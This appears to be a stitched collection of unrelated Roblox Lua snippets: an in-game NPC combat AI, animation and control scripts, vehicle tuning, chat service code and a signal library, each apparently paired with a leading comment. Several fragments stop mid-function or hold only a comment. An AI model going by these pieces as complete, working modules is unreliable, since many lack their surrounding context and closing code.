function yieldM4()
if weaponAimed == true then
weaponAimed = false
resetHead()
end
if m4Equipped == true then
m4Equipped = false
equipSound:Play()
--Right Arm setup
rArmWeld.Part1 = nil
rShoulder.Part1 = rArm
--Left Arm Setup
lArmWeld.Part1 = nil
lShoulder.Part1 = lArm
--M4 Setup
m4Weld.Part0 = nil
m4.CFrame = myTorso.CFrame * CFrame.new(0,0,0.6) * CFrame.Angles(math.rad(-90),math.rad(-60),math.rad(90))
m4Weld.Part0 = myTorso
end
end
function drawKnife()
yieldM4()
if knifeEquipped == false then
knifeEquipSound:Play()
knifeEquipped = true
knifeWeld.Part0 = nil
knife.CFrame = rArm.CFrame * CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(90),math.rad(180),math.rad(180))
knifeWeld.Part0 = rArm
end
end
function yieldKnife()
if knifeEquipped == true then
knifeEquipped = false
knifeWeld.Part0 = nil
knife.CFrame = myTorso.CFrame * CFrame.new(-1,-1,0.5) * CFrame.Angles(math.rad(-65),0,math.rad(180))
knifeWeld.Part0 = myTorso
end
end
function aim(target)
if weaponAimed == false then
neck.C0 = neck.C0 * CFrame.Angles(0,math.rad(-15),0)
end
weaponAimed = true
for i=0,1,0.1 do
wait()
local look = Vector3.new(target.Position.X,myTorso.Position.Y,target.Position.Z)
myTorso.CFrame = myTorso.CFrame:Lerp(CFrame.new(myTorso.Position,look),i)
if reloading == false then
aimerWeld.Part1 = nil
aimer.CFrame = aimer.CFrame:Lerp(CFrame.new((myTorso.CFrame * CFrame.new(0,0.5,0)).p,target.Position),i)
aimerWeld.Part1 = aimer
neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-1.5 + math.rad(aimer.Orientation.X),math.rad(15),math.rad(180))
end
end
end
function resetHead()
game:GetService("TweenService"):Create(neck,TweenInfo.new(0.2),{C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(-90),0,math.rad(180))}):Play()
end
function shoot(target)
if weaponCool == true and reloading == false then
weaponCool = false
local shot
if checkDist(target,myTorso) > 60 then
shot = 1
else
shot = 3
end
for i = 1, shot do
wait(0.1)
mag = mag - 1
local flash = Instance.new("PointLight",barrel)
flash.Brightness = 3
game:GetService("Debris"):AddItem(flash,0.1)
local min = -2
local max = 2
local activecast = Caster:Fire(barrel.Position, ((target.Position + Vector3.new(math.random(min,max),math.random(min,max),math.random(min,max))) - barrel.Position).Unit, 1000, FastStats)
fireSound:Play()
aimerWeld.Part1 = nil
aimer.CFrame = aimer.CFrame * CFrame.Angles(math.rad(math.random(1,4)/4),0,0)
aimerWeld.Part1 = aimer
end
if mag <= 0 then
reload()
end
delay(1, function()
weaponCool = true
end)
end
end
function reload()
if weaponAimed == true then
resetHead()
weaponAimed = false
end
reloadSound:Play()
reloading = true
yieldM4()
m4Weld.Part0 = nil
m4.CFrame = lArm.CFrame * CFrame.new(0.6,-1.3,0.2) * CFrame.Angles(math.rad(180),0,0)
m4Weld.Part0 = lArm
reloadAnimation:Play()
reloadAnimation:AdjustSpeed(3)
reloadAnimation.Stopped:Wait()
reloading = false
mag = fullMag
drawM4()
end
function stab(target)
if weaponCool == true then
weaponCool = false
knifeStabSound:Play()
knifeAttackSound:Play()
stabAnimation:Play()
local human = target.Parent.Humanoid
human:TakeDamage(math.random(30,50))
if human.Health <= 0 then
wait(0.2)
end
delay(0.5,function()
weaponCool = true
end)
end
end
function yieldWeapons()
yieldKnife()
yieldM4()
if weaponAimed == true then
weaponAimed = false
resetHead()
end
end
function checkCluster(target)
--Check for nearby allies
for i,v in ipairs(activeAllies) do
if checkDist(target,v) < 30 then
return false
end
end
--Check if enemies are paired close together
for i,v in ipairs(potentialTargets) do
if v ~= target then
if checkDist(target,v) < 15 then
return true
end
end
end
return false
end
function throwGrenade(target)
if weaponCool == true and grenadeCool == true then
weaponCool = false
grenadeCool = false
yieldWeapons()
local g = grenade:Clone()
g.Boom.PlayOnRemove = true
g.Parent = workspace
g.CanCollide = true
g.CFrame = rArm.CFrame * CFrame.new(0,-1.3,0) * CFrame.Angles(0,0,math.rad(90))
game:GetService("Debris"):AddItem(g,5)
grenade.Transparency = 1
local w = Instance.new("WeldConstraint",g)
w.Part0 = rArm
w.Part1 = g
throwAnimation:Play()
pinSound:Play()
aim(target)
wait(0.4)
if myHuman.Health <= 0 then
return
end
aim(target)
throwAnimation:Stop()
w.Part1 = nil
local dist = checkDist(myTorso,target)
g.Velocity = (myTorso.CFrame.LookVector + Vector3.new(0,1,0)) * Vector3.new(dist,dist*1.5,dist)
--Wait until grenade is thrown before it can be primed
local touched
touched = g.Touched:Connect(function(obj)
if not obj:IsDescendantOf(script.Parent) then
touched:Disconnect()
g.Pin:Play()
wait(0.5)
local x = Instance.new("Explosion",workspace)
x.Position = g.Position
x.Hit:Connect(function(obj,dist)
local human = obj.Parent:FindFirstChild("Humanoid")
if human then
human:TakeDamage(20 - dist)
human:ChangeState(Enum.HumanoidStateType.Ragdoll)
end
end)
g:Destroy()
game:GetService("Debris"):AddItem(x,2)
end
end)
local attach0 = g.Attach0
local attach1 = g.Attach1
local t = Instance.new("Trail",g)
t.Attachment0 = attach0
t.Attachment1 = attach1
t.Lifetime = 0.5
t.Color = ColorSequence.new(Color3.fromRGB(150,150,150))
t.WidthScale = NumberSequence.new(1,0)
delay(1,function()
weaponCool = true
wait(5)
grenadeCool = true
grenade.Transparency = 0
end)
end
end
function main()
local target = findTarget()
if target then
if checkSight(target) then
if checkDist(myTorso,target) > 15 then
if checkCluster(target) == true and checkDist(target,myTorso) < 100 and checkDist(target,myTorso) > 30 and grenadeCool == true then
throwGrenade(target)
else
drawM4()
aim(target)
shoot(target)
end
else
drawKnife()
myHuman:MoveTo(target.Position)
if checkDist(target,myTorso) < 7 then
stab(target)
end
end
else
if weaponAimed == true then
weaponAimed = false
resetHead()
spawn(function()
for i=0,1,0.1 do
wait()
aimerWeld.Part1 = nil
aimer.CFrame = myTorso.CFrame * CFrame.new(0,0.5,0) * CFrame.Angles(math.rad(-35),0,0)
aimerWeld.Part1 = aimer
if weaponAimed then
break
end
end
end)
end
pathToLocation(target)
end
else
yieldWeapons()
walkRandom()
end
end
function Died()
for i,v in ipairs(script.Parent:GetDescendants()) do
if v:IsA("BallSocketConstraint") then
v.Enabled = true
elseif v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" and v ~= aimer then
v.CanCollide = true
elseif v:IsA("Motor6D") then
v:Destroy()
end
end
wait(500)
for i,v in ipairs(script.Parent:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("Decal") then
game:GetService("TweenService"):Create(v,TweenInfo.new(0.2),{Transparency = 1}):Play()
end
end
wait(0.2)
clone.Parent = workspace
script.Parent:Destroy()
end
myHuman.Died:Connect(Died)
local oldHealth = myHuman.Health
local soundSpeeds = {0.9,0.95,1,1.05,1.1}
myHuman.HealthChanged:Connect(function(health)
if health < oldHealth and hurtSound.IsPlaying == false then
hurtSound.PlaybackSpeed = soundSpeeds[math.random(#soundSpeeds)]
hurtSound:Play()
end
oldHealth = health
end)
Caster.RayHit:Connect(function(activeCast, rayResult)
local hum = rayResult.Instance.Parent:FindFirstChildWhichIsA("Humanoid")
if hum then
hum:TakeDamage(14)
end
end)
while wait() do
if myHuman.Health > 0 then
main()
else
break
end
end
|
-- connect events
|
Humanoid.Died:Connect(onDied)
Humanoid.Running:Connect(onRunning)
Humanoid.Jumping:Connect(onJumping)
Humanoid.Climbing:Connect(onClimbing)
Humanoid.GettingUp:Connect(onGettingUp)
Humanoid.FreeFalling:Connect(onFreeFall)
Humanoid.FallingDown:Connect(onFallingDown)
Humanoid.Seated:Connect(onSeated)
Humanoid.PlatformStanding:Connect(onPlatformStanding)
Humanoid.Swimming:Connect(onSwimming)
|
-- why do I need a wait here?!?!?!? Sometimes touch controls don't disappear without this
|
wait()
if UserInputService:GetGamepadConnected(Enum.UserInputType.Gamepad1) then
if CurrentControlModule and IsTouchDevice then
CurrentControlModule:Disable()
end
if isJumpEnabled and IsTouchDevice then TouchJumpModule:Disable() end
ControlModules.Gamepad:Enable()
end
UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if gamepadEnum ~= Enum.UserInputType.Gamepad1 then return end
if CurrentControlModule and IsTouchDevice then
CurrentControlModule:Enable()
end
if isJumpEnabled and IsTouchDevice then TouchJumpModule:Enable() end
ControlModules.Gamepad:Disable()
end)
UserInputService.GamepadConnected:connect(function(gamepadEnum)
if gamepadEnum ~= Enum.UserInputType.Gamepad1 then return end
if CurrentControlModule and IsTouchDevice then
CurrentControlModule:Disable()
end
if isJumpEnabled and IsTouchDevice then TouchJumpModule:Disable() end
ControlModules.Gamepad:Enable()
end)
|
-- Disable ActionPrompts when player is seated
|
local runningWhenSeated = false
local function onCharacterAdded(character)
local characterHumanoid = character:WaitForChild("Humanoid")
characterHumanoid.Seated:Connect(function(isSeated)
if isSeated and ActionPrompts.isRunning then
runningWhenSeated = true
ActionPrompts.stop()
elseif not isSeated and not ActionPrompts.isRunning and runningWhenSeated == true then
runningWhenSeated = false
ActionPrompts.start()
end
end)
end
Players.LocalPlayer.CharacterAdded:Connect(onCharacterAdded)
if Players.LocalPlayer.Character then
onCharacterAdded(Players.LocalPlayer.Character)
end
return ActionPrompts
|
--TUNING--
|
tq = 60
ftq = 0
cst = 0.25
maxspeed = 550
brakes = 0.08 --(0.1 - 1)
while wait() do
speed = carSeat.Velocity.Magnitude
rs = ((carSeat.Parent.Parent.Wheels.RL.Wheel.RotVelocity.Magnitude + carSeat.Parent.Parent.Wheels.RR.Wheel.RotVelocity.Magnitude)/2)/(2/carSeat.Parent.Parent.Wheels.RL.Wheel.Size.Y)
if script.Parent.TC.Value == true then
if rs > (3+speed) then
script.Parent.HUB.TCi.BorderSizePixel = 3
script.Parent.TC.On.Value = true
else
script.Parent.HUB.TCi.BorderSizePixel = 0
script.Parent.TC.On.Value = false
end
end
if script.Parent.Gear.Value == 1 then
script.Parent.HUB.Gear.Text = "D"
elseif script.Parent.Gear.Value == 0 then
script.Parent.HUB.Gear.Text = "N"
elseif script.Parent.Gear.Value == -1 then
script.Parent.HUB.Gear.Text = "R"
end
|
---------------------------------------------------------------
|
function onChildAdded(something)
if something.Name == "SeatWeld" then
local human = something.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
wait(.1)
script.Parent.Parent.Body.ELS.Sirens.Wail:Stop()
script.Parent.Parent.Body.ELS.Sirens.Yelp:Stop()
script.Parent.Parent.Body.ELS.Sirens.Phaser:Stop()
end
end
end
function onChildRemoved(something)
if (something.Name == "SeatWeld") then
local human = something.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
print("Human Found")
wait(.1)
script.Parent.Parent.Body.ELS.Sirens.Wail:Stop()
script.Parent.Parent.Body.ELS.Sirens.Yelp:Stop()
script.Parent.Parent.Body.ELS.Sirens.Phaser:Stop()
end
end
end
script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)
|
--[[Steering]]
|
Tune.SteerInner = 35 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 35 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .05 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
-- NOTE: This function is radically different from the engine's implementation
|
local function calcDesiredWalkVelocity()
-- TEMP
return Vector3.new(1,1,1)
end
local function preStepSimulatorSide(dt)
if getAutoJump() and enableAutoJump() then
local desiredWalkVelocity = calcDesiredWalkVelocity();
if (not vec3IsZero(desiredWalkVelocity)) then
doAutoJump();
end
end
end
local function AutoJumper()
local this = {}
local running = false
local runRoutine = nil
function this:Run()
running = true
local thisRoutine = nil
thisRoutine = coroutine.create(function()
while running and thisRoutine == runRoutine do
this:Step()
wait()
end
end)
runRoutine = thisRoutine
coroutine.resume(thisRoutine)
end
function this:Stop()
running = false
end
function this:Step()
preStepSimulatorSide()
end
return this
end
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
function onSwimming(speed)
if speed > 1.00 then
local scale = 10.0
playAnimation("swim", 0.4, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Swimming"
else
playAnimation("swimidle", 0.4, Humanoid)
pose = "Standing"
end
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
local lastTick = 0
function stepAnimate(currentTime)
local amplitude = 1
local frequency = 1
local deltaTime = currentTime - lastTick
lastTick = currentTime
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
-- Tool Animation handling
local tool = Character:FindFirstChildOfClass("Tool")
if tool and (tool.RequiresHandle or tool:FindFirstChild("Handle")) then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = currentTime + .3
end
if currentTime > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
--// Event for making player say chat message.
|
function chatBarFocusLost(enterPressed, inputObject)
DoBackgroundFadeIn()
chatBarFocusChanged:Fire(false)
if (enterPressed) then
local message = ChatBar:GetTextBox().Text
if ChatBar:IsInCustomState() then
local customMessage = ChatBar:GetCustomMessage()
if customMessage then
message = customMessage
end
local messageSunk = ChatBar:CustomStateProcessCompletedMessage(message)
ChatBar:ResetCustomState()
if messageSunk then
return
end
end
ChatBar:GetTextBox().Text = ""
if message ~= "" then
--// Sends signal to eventually call Player:Chat() to handle C++ side legacy stuff.
moduleApiTable.MessagePosted:fire(message)
if not CommandProcessor:ProcessCompletedChatMessage(message, ChatWindow) then
if ChatSettings.DisallowedWhiteSpace then
for i = 1, #ChatSettings.DisallowedWhiteSpace do
if ChatSettings.DisallowedWhiteSpace[i] == "\t" then
message = string.gsub(message, ChatSettings.DisallowedWhiteSpace[i], " ")
else
message = string.gsub(message, ChatSettings.DisallowedWhiteSpace[i], "")
end
end
end
message = string.gsub(message, "\n", "")
message = string.gsub(message, "[ ]+", " ")
local targetChannel = ChatWindow:GetTargetMessageChannel()
if targetChannel then
MessageSender:SendMessage(message, targetChannel)
else
MessageSender:SendMessage(message, nil)
end
end
end
end
end
local ChatBarConnections = {}
function setupChatBarConnections()
for i = 1, #ChatBarConnections do
ChatBarConnections[i]:Disconnect()
end
ChatBarConnections = {}
local focusLostConnection = ChatBar:GetTextBox().FocusLost:connect(chatBarFocusLost)
table.insert(ChatBarConnections, focusLostConnection)
local focusGainedConnection = ChatBar:GetTextBox().Focused:connect(chatBarFocused)
table.insert(ChatBarConnections, focusGainedConnection)
end
setupChatBarConnections()
ChatBar.GuiObjectsChanged:connect(setupChatBarConnections)
function getEchoMessagesInGeneral()
if ChatSettings.EchoMessagesInGeneralChannel == nil then
return true
end
return ChatSettings.EchoMessagesInGeneralChannel
end
EventFolder.OnMessageDoneFiltering.OnClientEvent:connect(function(messageData)
if not ChatSettings.ShowUserOwnFilteredMessage then
if messageData.FromSpeaker == LocalPlayer.Name then
return
end
end
local channelName = messageData.OriginalChannel
local channelObj = ChatWindow:GetChannel(channelName)
if channelObj then
channelObj:UpdateMessageFiltered(messageData)
end
if getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then
local generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)
if generalChannel then
generalChannel:UpdateMessageFiltered(messageData)
end
end
end)
EventFolder.OnNewMessage.OnClientEvent:connect(function(messageData, channelName)
local channelObj = ChatWindow:GetChannel(channelName)
if (channelObj) then
channelObj:AddMessageToChannel(messageData)
if (messageData.FromSpeaker ~= LocalPlayer.Name) then
ChannelsBar:UpdateMessagePostedInChannel(channelName)
end
if getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then
local generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)
if generalChannel then
generalChannel:AddMessageToChannel(messageData)
end
end
moduleApiTable.MessageCount = moduleApiTable.MessageCount + 1
moduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)
DoFadeInFromNewInformation()
end
end)
EventFolder.OnNewSystemMessage.OnClientEvent:connect(function(messageData, channelName)
channelName = channelName or "System"
local channelObj = ChatWindow:GetChannel(channelName)
if (channelObj) then
channelObj:AddMessageToChannel(messageData)
ChannelsBar:UpdateMessagePostedInChannel(channelName)
moduleApiTable.MessageCount = moduleApiTable.MessageCount + 1
moduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)
DoFadeInFromNewInformation()
if getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then
local generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)
if generalChannel then
generalChannel:AddMessageToChannel(messageData)
end
end
else
warn(string.format("Just received system message for channel I'm not in [%s]", channelName))
end
end)
function HandleChannelJoined(channel, welcomeMessage, messageLog, channelNameColor, addHistoryToGeneralChannel,
addWelcomeMessageToGeneralChannel)
if ChatWindow:GetChannel(channel) then
--- If the channel has already been added, remove it first.
ChatWindow:RemoveChannel(channel)
end
if (channel == ChatSettings.GeneralChannelName) then
DidFirstChannelsLoads = true
end
if channelNameColor then
ChatBar:SetChannelNameColor(channel, channelNameColor)
end
local channelObj = ChatWindow:AddChannel(channel)
if (channelObj) then
if (channel == ChatSettings.GeneralChannelName) then
DoSwitchCurrentChannel(channel)
end
if (messageLog) then
local startIndex = 1
if #messageLog > ChatSettings.MessageHistoryLengthPerChannel then
startIndex = #messageLog - ChatSettings.MessageHistoryLengthPerChannel
end
for i = startIndex, #messageLog do
channelObj:AddMessageToChannel(messageLog[i])
end
if getEchoMessagesInGeneral() and addHistoryToGeneralChannel then
if ChatSettings.GeneralChannelName and channel ~= ChatSettings.GeneralChannelName then
local generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)
if generalChannel then
generalChannel:AddMessagesToChannelByTimeStamp(messageLog, startIndex)
end
end
end
end
if (welcomeMessage ~= "") then
local welcomeMessageObject = {
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = channel,
IsFiltered = true,
MessageLength = string.len(welcomeMessage),
MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(welcomeMessage)),
Message = trimTrailingSpaces(welcomeMessage),
MessageType = ChatConstants.MessageTypeWelcome,
Time = os.time(),
ExtraData = nil,
}
channelObj:AddMessageToChannel(welcomeMessageObject)
if getEchoMessagesInGeneral() and addWelcomeMessageToGeneralChannel and not ChatSettings.ShowChannelsBar then
if channel ~= ChatSettings.GeneralChannelName then
local generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)
if generalChannel then
generalChannel:AddMessageToChannel(welcomeMessageObject)
end
end
end
end
DoFadeInFromNewInformation()
end
end
EventFolder.OnChannelJoined.OnClientEvent:connect(function(channel, welcomeMessage, messageLog, channelNameColor)
HandleChannelJoined(channel, welcomeMessage, messageLog, channelNameColor, false, true)
end)
EventFolder.OnChannelLeft.OnClientEvent:connect(function(channel)
ChatWindow:RemoveChannel(channel)
DoFadeInFromNewInformation()
end)
EventFolder.OnMuted.OnClientEvent:connect(function(channel)
--// Do something eventually maybe?
--// This used to take away the chat bar in channels the player was muted in.
--// We found out this behavior was inconvenient for doing chat commands though.
end)
EventFolder.OnUnmuted.OnClientEvent:connect(function(channel)
--// Same as above.
end)
EventFolder.OnMainChannelSet.OnClientEvent:connect(function(channel)
DoSwitchCurrentChannel(channel)
end)
coroutine.wrap(function()
-- ChannelNameColorUpdated may not exist if the client version is older than the server version.
local ChannelNameColorUpdated = DefaultChatSystemChatEvents:WaitForChild("ChannelNameColorUpdated", 5)
if ChannelNameColorUpdated then
ChannelNameColorUpdated.OnClientEvent:connect(function(channelName, channelNameColor)
ChatBar:SetChannelNameColor(channelName, channelNameColor)
end)
end
end)()
|
--------| Variables |--------
|
local lockMouse
|
-- Returns all screen GUI objects
|
function GuiController:getOtherScreenGuis()
local instances = Cryo.List.filter(self.player.PlayerGui:GetDescendants(), function(instance)
local isWhitelisted = false
for _, ref in ipairs(self.whitelist) do
if ref:getValue() == instance then
isWhitelisted = true
break
end
end
return instance:IsA("ScreenGui") and instance.Enabled and not isWhitelisted
end)
return instances
end
function GuiController:getShownCoreGuis()
local shownCoreGuis = Cryo.List.filter(Enum.CoreGuiType:GetEnumItems(), function(coreGuiType)
return self.StarterGui:GetCoreGuiEnabled(coreGuiType) and coreGuiType ~= Enum.CoreGuiType.All
end)
return shownCoreGuis
end
return GuiController
|
--////////////////////////////// Methods
--//////////////////////////////////////
|
local methods = {}
methods.__index = methods
function methods:AddChannel(channelName, autoJoin)
if (self.ChatChannels[channelName:lower()]) then
error(string.format("Channel %q alrady exists.", channelName))
end
local function DefaultChannelCommands(fromSpeaker, message)
if (message:lower() == "/leave") then
local channel = self:GetChannel(channelName)
local speaker = self:GetSpeaker(fromSpeaker)
if (channel and speaker) then
if (channel.Leavable) then
speaker:LeaveChannel(channelName)
speaker:SendSystemMessage(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatService_YouHaveLeftChannel",
string.format("You have left channel '%s'", channelName)
),
"{RBX_NAME}",channelName),
"System"
)
else
speaker:SendSystemMessage(ChatLocalization:Get("GameChat_ChatService_CannotLeaveChannel","You cannot leave this channel."), channelName)
end
end
return true
end
return false
end
local channel = ChatChannel.new(self, channelName)
self.ChatChannels[channelName:lower()] = channel
channel:RegisterProcessCommandsFunction("default_commands", DefaultChannelCommands, ChatConstants.HighPriority)
local success, err = pcall(function() self.eChannelAdded:Fire(channelName) end)
if not success and err then
print("Error addding channel: " ..err)
end
if autoJoin ~= nil then
channel.AutoJoin = autoJoin
if autoJoin then
for _, speaker in pairs(self.Speakers) do
speaker:JoinChannel(channelName)
end
end
end
return channel
end
function methods:RemoveChannel(channelName)
if (self.ChatChannels[channelName:lower()]) then
local n = self.ChatChannels[channelName:lower()].Name
self.ChatChannels[channelName:lower()]:InternalDestroy()
self.ChatChannels[channelName:lower()] = nil
local success, err = pcall(function() self.eChannelRemoved:Fire(n) end)
if not success and err then
print("Error removing channel: " ..err)
end
else
warn(string.format("Channel %q does not exist.", channelName))
end
end
function methods:GetChannel(channelName)
return self.ChatChannels[channelName:lower()]
end
function methods:AddSpeaker(speakerName)
if (self.Speakers[speakerName:lower()]) then
error("Speaker \"" .. speakerName .. "\" already exists!")
end
local speaker = Speaker.new(self, speakerName)
self.Speakers[speakerName:lower()] = speaker
local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)
if not success and err then
print("Error adding speaker: " ..err)
end
return speaker
end
function methods:InternalUnmuteSpeaker(speakerName)
for channelName, channel in pairs(self.ChatChannels) do
if channel:IsSpeakerMuted(speakerName) then
channel:UnmuteSpeaker(speakerName)
end
end
end
function methods:RemoveSpeaker(speakerName)
if (self.Speakers[speakerName:lower()]) then
local n = self.Speakers[speakerName:lower()].Name
self:InternalUnmuteSpeaker(n)
self.Speakers[speakerName:lower()]:InternalDestroy()
self.Speakers[speakerName:lower()] = nil
local success, err = pcall(function() self.eSpeakerRemoved:Fire(n) end)
if not success and err then
print("Error removing speaker: " ..err)
end
else
warn("Speaker \"" .. speakerName .. "\" does not exist!")
end
end
function methods:GetSpeaker(speakerName)
return self.Speakers[speakerName:lower()]
end
function methods:GetChannelList()
local list = {}
for i, channel in pairs(self.ChatChannels) do
if (not channel.Private) then
table.insert(list, channel.Name)
end
end
return list
end
function methods:GetAutoJoinChannelList()
local list = {}
for i, channel in pairs(self.ChatChannels) do
if channel.AutoJoin then
table.insert(list, channel)
end
end
return list
end
function methods:GetSpeakerList()
local list = {}
for i, speaker in pairs(self.Speakers) do
table.insert(list, speaker.Name)
end
return list
end
function methods:SendGlobalSystemMessage(message)
for i, speaker in pairs(self.Speakers) do
speaker:SendSystemMessage(message, nil)
end
end
function methods:RegisterFilterMessageFunction(funcId, func, priority)
if self.FilterMessageFunctions:HasFunction(funcId) then
error(string.format("FilterMessageFunction '%s' already exists", funcId))
end
self.FilterMessageFunctions:AddFunction(funcId, func, priority)
end
function methods:FilterMessageFunctionExists(funcId)
return self.FilterMessageFunctions:HasFunction(funcId)
end
function methods:UnregisterFilterMessageFunction(funcId)
if not self.FilterMessageFunctions:HasFunction(funcId) then
error(string.format("FilterMessageFunction '%s' does not exists", funcId))
end
self.FilterMessageFunctions:RemoveFunction(funcId)
end
function methods:RegisterProcessCommandsFunction(funcId, func, priority)
if self.ProcessCommandsFunctions:HasFunction(funcId) then
error(string.format("ProcessCommandsFunction '%s' already exists", funcId))
end
self.ProcessCommandsFunctions:AddFunction(funcId, func, priority)
end
function methods:ProcessCommandsFunctionExists(funcId)
return self.ProcessCommandsFunctions:HasFunction(funcId)
end
function methods:UnregisterProcessCommandsFunction(funcId)
if not self.ProcessCommandsFunctions:HasFunction(funcId) then
error(string.format("ProcessCommandsFunction '%s' does not exist", funcId))
end
self.ProcessCommandsFunctions:RemoveFunction(funcId)
end
local LastFilterNoficationTime = 0
local LastFilterIssueTime = 0
local FilterIssueCount = 0
function methods:InternalNotifyFilterIssue()
if (tick() - LastFilterIssueTime) > FILTER_THRESHOLD_TIME then
FilterIssueCount = 0
end
FilterIssueCount = FilterIssueCount + 1
LastFilterIssueTime = tick()
if FilterIssueCount >= FILTER_NOTIFCATION_THRESHOLD then
if (tick() - LastFilterNoficationTime) > FILTER_NOTIFCATION_INTERVAL then
LastFilterNoficationTime = tick()
local systemChannel = self:GetChannel("System")
if systemChannel then
systemChannel:SendSystemMessage(
ChatLocalization:Get(
"GameChat_ChatService_ChatFilterIssues",
"The chat filter is currently experiencing issues and messages may be slow to appear."
),
errorExtraData
)
end
end
end
end
local StudioMessageFilteredCache = {}
|
-- Image shortcuts: you can use these string instead of using image ids
|
richText.ImageShortcuts = {}
richText.ImageShortcuts.Eggplant = 639588687
richText.ImageShortcuts.Thinking = 955646496
richText.ImageShortcuts.Sad = 947900188
richText.ImageShortcuts.Happy = 414889555
richText.ImageShortcuts.Despicable = 711674643
|
-- Extracted this function from Connect as it results in the closure
-- made in Connect using less memory because this function can be static
|
local function Disconnect<T...>(self: Signal<T...>, Node: SignalNode<T...>)
if self.Root == Node then
self.Root = Node.Next
else
local Current = self.Root
while Current do
if Current.Next == Node then
Current.Next = Node.Next
break
end
Current = Current.Next
end
end
end
function Signal.Connect<T...>(self: Signal<T...>, Callback: (T...) -> ()): () -> ()
local Node = {
Next = self.Root,
Callback = Callback,
}
self.Root = Node
return function()
Disconnect(self, Node)
end
end
function Signal.Wait<T...>(self: Signal<T...>): T...
local Thread = coroutine.running()
local Disconnect
Disconnect = self:Connect(function(...)
Disconnect()
coroutine.resume(Thread, ...)
end)
return coroutine.yield()
end
function Signal.Once<T...>(self: Signal<T...>, Callback: (T...) -> ()): () -> ()
local Disconnect
Disconnect = self:Connect(function(...)
Disconnect()
Callback(...)
end)
return Disconnect
end
function Signal.Fire<T...>(self: Signal<T...>, ...: T...)
local Current = self.Root
while Current do
Spawn(Current.Callback, ...)
Current = Current.Next
end
end
function Signal.DisconnectAll<T...>(self: Signal<T...>)
self.Root = nil
end
return function<T...>(): Signal<T...>
return setmetatable({
Root = nil,
}, Signal) :: any
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 268 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 7000 -- Use sliders to manipulate values
Tune.Redline = 7500 -- Copy and paste slider values into the respective tune values
Tune.ComfortShift = 5250
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--[=[
@param value any
@return any
Serializes the given value.
]=]
|
function Ser.Serialize(value: any): any
if type(value) == "table" then
local ser = Ser.Classes[value.ClassName]
if ser then
value = ser.Serialize(value)
end
end
return value
end
|
---------------------->INTERSETAR ESTE LOCALSCRIPT EN STARTERGUI<----------------------------------------------------
|
